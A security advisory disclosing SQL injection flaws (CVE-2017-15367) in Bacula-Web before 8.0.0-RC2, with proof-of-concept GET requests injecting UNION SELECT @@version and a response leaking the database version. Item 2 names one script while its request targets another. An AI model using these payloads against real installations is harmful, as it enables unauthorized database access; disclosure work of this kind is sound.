`Title: Multiple SQL injection vulnerabilities in Bacula-Web (CVE-2017-15367)  
Credit: Gustavo Sorondo / http://www.cintainfinita.com  
Vendor/Product: Bacula-Web (http://bacula-web.org/)  
Vulnerability: SQL injection  
Vulnerable version: All prior to 8.0.0-RC2.  
Fixed in: 8.0.0-RC2  
CVE: CVE-2017-15367  
  
## Vulnerability Details  
  
Bacula-web before 8.0.0-rc2 is affected by multiple SQL Injection  
vulnerabilities that could allow an attacker to access the Bacula database  
and, depending on configuration, escalate privileges on the server.  
  
1) The /jobs.php script is affected by a SQL Injection vulnerability.  
  
The following GET request can be used to extract the result of "select  
@@version" query.  
  
Request:  
GET  
/jobs.php?status=0&level_id=&client_id=0&start_time=&end_time=&orderby=jobid&jobs_per_page=25&pool_id=11%27%20UNION%20ALL%20SELECT%20@@version%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%23  
HTTP/1.1  
  
Response:  
HTTP/1.1 200 OK  
[...]  
<td>5.7.19-0ubuntu0.16.04.1</td>  
<td class="text-left">  
backupjob-report.php?backupjob_name=  
[...]  
  
Other parameters (eg. client_id) are also vulnerable, since there is no  
protection against SQL Injections at all.  
  
2) The /backupjob-report.php script is affected by a SQL Injection  
vulnerability.  
  
The following GET request can be used to extract the result of "select  
@@version" query.  
  
Request:  
GET  
/client-report.php?period=7&client_id=21%20UNION%20ALL%20SELECT%20NULL,@@version%23  
  
3) The /client-report.php is affected by a SQL Injection vulnerability in  
the "client_id" parameter.
